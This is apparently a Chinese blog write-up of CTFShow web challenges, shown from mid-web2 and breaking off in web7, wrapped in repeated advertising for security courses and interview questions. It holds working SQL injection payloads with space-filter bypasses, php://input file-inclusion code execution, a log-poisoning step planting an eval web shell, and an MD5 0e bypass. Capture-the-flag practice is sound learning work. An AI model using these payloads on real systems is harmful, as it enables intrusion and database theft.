2024年网络安全最全CTFShow web1-7——CTF秀WEB模块解题思路_ctfshow web题目解析，2024年最新深入分析

给大家的福利

零基础入门

对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供：

因篇幅有限，仅展示部分资料

网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。

需要这份系统化资料的朋友，可以点击这里获取

一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！

![在这里插入图片描述](https://img-blog.csdnimg.cn/6fa2180717504af78d8ea2bfce1e7e01.png)  
 获取数据库web2中的表

a’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=‘web2’),3 #

![在这里插入图片描述](https://img-blog.csdnimg.cn/0fd07ec955c5424bb6b5f2bc20ae1e03.png)  
 获取表flag中的字段, 很明显flag就在flag表中

a’ union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=‘web2’ and table_name=‘flag’),3 #

![在这里插入图片描述](https://img-blog.csdnimg.cn/416bd3e317a94dc5957c3df75b581532.png)  
 获取 flag

a’ union select 1,(select flag from flag),3 #

![在这里插入图片描述](https://img-blog.csdnimg.cn/72cfb7a1a3964c88a6cb01120243894c.png)


### CTFShow web3



> 
> 第三关是一个文件包含漏洞, 推荐使用PHP://input伪协议进行任意代码执行
> 
> 
> 


![在这里插入图片描述](https://img-blog.csdnimg.cn/cf66857d0c294aa7b5b1700d830cbfed.png)  
 在url的参数中提交PHP伪协议

?url=php://input

![在这里插入图片描述](https://img-blog.csdnimg.cn/3ddcea4c8f2c438087d01132fc59f6f6.png)  
 使用代理工具( Burp Suite)抓包, 在POST请求体中输入需要执行的PHP代码, 比如执行系统命令:查看当前目录下的文件

<?php system('ls');?>

![在这里插入图片描述](https://img-blog.csdnimg.cn/4ef962e18bde4114a178c0f560b70541.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5aOr5Yir5LiJ5peld3l4,size_20,color_FFFFFF,t_70,g_se,x_16)  
 当前目录下有两个文件, 目测flag就在 ctf\_go\_go\_go 文件中  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/c52b6f212188478aaf8808b0560e2a37.png)


接下来我们查看 ctf\_go\_go\_go 文件, 获取 flag, url的参数中使用PHP伪协议

?url=php://input

![在这里插入图片描述](https://img-blog.csdnimg.cn/57119134183c4554be745d6f59ada1a6.png)  
 使用代理工具( Burp Suite)拦截请求, 在POST请求体中传递需要执行的PHP代码

<?php system('cat ctf\_go\_go\_go');?>

![在这里插入图片描述](https://img-blog.csdnimg.cn/673a93e5ae9047f8bb8a1c4e6c6490da.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5aOr5Yir5LiJ5peld3l4,size_20,color_FFFFFF,t_70,g_se,x_16)  
 成功拿到 flag  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/30e1bd3a3af4409dbe825ea1397665cc.png)


### CTFShow web4



> 
> 第四关也是一个文件包含漏洞, 与第三关不同的是, 这一关过滤了PHP伪协议, 推荐使用日志注入
> 
> 
> 


![在这里插入图片描述](https://img-blog.csdnimg.cn/76ee7cb69491488ba3d84f8b3f0a4af6.png)  
 1.首先, 访问一下web服务器的日志文件( Nginx日志文件的默认位置是/var/log/nginx/access.log)

?url=/var/log/nginx/access.log

![在这里插入图片描述](https://img-blog.csdnimg.cn/baf3426720a34ac3a80fda4883f88ac4.png)  
 2.使用代理工具( Burp Suite)在请求头User-Agent的内容中插入后门

<?php eval($\_POST['a']);?>

![在这里插入图片描述](https://img-blog.csdnimg.cn/de7a17b1574c4b23b544c4f33103bb98.png)  
 3.再次访问日志文件, 会发现新增了一条访问记录, 后门代码不会在页面中显示, 因为代码会被直接执行, 加下来我们使用蚁剑等工具链接后门即可  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/fa6c1ea74dc14285b860f6ff2f55f9b7.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5aOr5Yir5LiJ5peld3l4,size_20,color_FFFFFF,t_70,g_se,x_16)  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/cc5a90442c1c4e268325f8bd821368d7.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5aOr5Yir5LiJ5peld3l4,size_15,color_FFFFFF,t_70,g_se,x_16)  
 4.使用蚁剑的文件管理功能, 在网站根目录( www)下有一个 falg.txt, flag就在这个文件里面  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/b1719105741f4d63a4324af48385d882.png)  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/70cc0a7eeb444494988a9668bf9780b7.png)


### CTFShow web5



> 
> 第五关是一个MD5加密漏洞, 这一关需要传递两个参数, 如果两个参数的MD5值相等, 即可输出 flag, 推荐使用0e绕过
> 
> 
> 


![在这里插入图片描述](https://img-blog.csdnimg.cn/809399f3d62948c88a5a20cce37dd4d8.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5aOr5Yir5LiJ5peld3l4,size_18,color_FFFFFF,t_70,g_se,x_16)  
 payload如下

?v1=QNKCDZO&v2=240610708

![在这里插入图片描述](https://img-blog.csdnimg.cn/9b1cbfa2430340c5912445a6b2d1cf77.png)


### CTFShow web6



> 
> 第六关是一个SQL注入漏洞, 注入类型为数值型注入, 页面有回显, 推荐使用联合注入, 源码中过滤了空格, 可以使用注释/\*\*/ 或 括号() 来绕过
> 
> 
> 


![在这里插入图片描述](https://img-blog.csdnimg.cn/2737bcccb5b446c28332ee8de3cb4f9b.png)  
 **1.使用万能账号测试注入点**  
 括号()绕过, 用户名输入以下payload, 密码不用输

a’or(true)#

注释/\*\*/绕过

a’/**/or/**/true/**/#

![在这里插入图片描述](https://img-blog.csdnimg.cn/8bb6e6f0998741bdad82a6a21fca3c08.png)  
 页面有显示位( 查询出来的用户在页面的固定位置展示), 推荐使用联合注入


**2.脱库**  
 获取当前数据库, 盲猜 flag 就在当前使用的数据库中, 用户名输入以下payload, 密码不用输

a’union/**/select/**/1,database(),3#

![在这里插入图片描述](https://img-blog.csdnimg.cn/5f46e9bcc36743059b9adcca233beab1.png)  
 获取数据库中的表

a’union/**/select/**/1,(select(group_concat(table_name))from/**/information_schema.tables/**/where/**/table_schema=‘web2’),3#

![在这里插入图片描述](https://img-blog.csdnimg.cn/e023da019ef241da8710c2a3dc437541.png)  
 获取表中的字段

a’union/**/select/**/1,(select(group_concat(column_name))from/**/information_schema.columns/**/where/**/table_schema='web2’and/**/table_name=‘flag’),3#

![在这里插入图片描述](https://img-blog.csdnimg.cn/ac94217d17d24d129b2c2bd4815e230d.png)  
 获取 flag

a’union/**/select/**/1,(select/**/flag/**/from/**/flag),3#

![在这里插入图片描述](https://img-blog.csdnimg.cn/66c7057b030240c7b7a2bd0eebf77637.png)


### CTFShow web7



> 
> 第七关也是一个SQL注入漏洞, 注入点是数值型注入, 页面有回显, 推荐使用联合注入, 源码中过滤了空格, 可以使用注释/\*\*/ 或 括号() 来绕过
> 
> 
> 


![在这里插入图片描述](https://img-blog.csdnimg.cn/44a6e836f480411d90eee67ca8c72a57.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5aOr5Yir5LiJ5peld3l4,size_20,color_FFFFFF,t_70,g_se,x_16)  
 **1.判断注入点**


url地址栏中输入以下payload, 是SQL恒成立, 可以查询到所有文章内容, 由此可证明存在SQL注入

?id=-1/**/or/**/true

![在这里插入图片描述](https://img-blog.csdnimg.cn/fc9c3c131aa94fe2a03ec897f80cd1d0.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5aOr5Yir5LiJ5peld3l4,size_20,color_FFFFFF,t_70,g_se,x_16)  
 页面存在显示位( 文章标题和文章内容在固定位置展示), 推荐使用联合注入


**2.脱库**  
 获取当前数据库, url中输入以下payload

-1/**/union/**/select/**/1,database(),3

![在这里插入图片描述](https://img-blog.csdnimg.cn/ec8de766dd284bb0aad4921d378894cb.png)  
 获取数据库中的表

-1/**/union/**/select/**/1,(select/**/group_concat(table_name)from/**/information_schema.tables/**/where/**/table_schema=“web7”),3

![在这里插入图片描述](https://img-blog.csdnimg.cn/4330be9f4ac347d89c5e24acb6cabd44.png)  
 获取表中的字段




还有兄弟不知道网络安全面试可以提前刷题吗？费时一周整理的160+网络安全面试题，金九银十，做网络安全面试里的显眼包！


王岚嵚工程师面试题（附答案），只能帮兄弟们到这儿了！如果你能答对70%，找一个安全工作，问题不大。


对于有1-3年工作经验，想要跳槽的朋友来说，也是很好的温习资料！


【完整版领取方式在文末！！】


***93道网络安全面试题***


![](https://img-blog.csdnimg.cn/img_convert/6679c89ccd849f9504c48bb02882ef8d.png)








![](https://img-blog.csdnimg.cn/img_convert/07ce1a919614bde78921fb2f8ddf0c2f.png)





![](https://img-blog.csdnimg.cn/img_convert/44238619c3ba2d672b5b8dc4a529b01d.png)





内容实在太多，不一一截图了


### 黑客学习资源推荐


最后给大家分享一份全套的网络安全学习资料，给那些想学习 网络安全的小伙伴们一点帮助！


对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。


😝朋友们如果有需要的话，可以联系领取~

#### 1️⃣零基础入门


##### ① 学习路线


对于从来没有接触过网络安全的同学，我们帮你准备了详细的**学习成长路线图**。可以说是**最科学最系统的学习路线**，大家跟着这个大的方向学习准没问题。


![image](https://img-blog.csdnimg.cn/img_convert/acb3c4714e29498573a58a3c79c775da.gif#pic_center)


##### ② 路线对应学习视频


同时每个成长路线对应的板块都有配套的视频提供：


![image-20231025112050764](https://img-blog.csdnimg.cn/874ad4fd3dbe4f6bb3bff17885655014.png#pic_center)


#### 2️⃣视频配套工具&国内外网安书籍、文档


##### ① 工具


![](https://img-blog.csdnimg.cn/img_convert/d3f08d9a26927e48b1332a38401b3369.png#pic_center)


##### ② 视频


![image1](https://img-blog.csdnimg.cn/img_convert/f18acc028dc224b7ace77f2e260ba222.png#pic_center)


##### ③ 书籍


![image2](https://img-blog.csdnimg.cn/img_convert/769b7e13b39771b3a6e4397753dab12e.png#pic_center)

资源较为敏感，未展示全面，需要的最下面获取

![在这里插入图片描述](https://img-blog.csdnimg.cn/e4f9ac066e8c485f8407a99619f9c5b5.png#pic_center)![在这里插入图片描述](https://img-blog.csdnimg.cn/111f5462e7df433b981dc2430bb9ad39.png#pic_center)


##### ② 简历模板


![在这里插入图片描述](https://img-blog.csdnimg.cn/504b8be96bfa4dfb8befc2af49aabfa2.png#pic_center)

 **因篇幅有限，资料较为敏感仅展示部分资料，添加上方即可获取👆**




**网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。**

**[需要这份系统化资料的朋友，可以点击这里获取](https://bbs.csdn.net/forums/4f45ff00ff254613a03fab5e56a57acb)**

**一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！**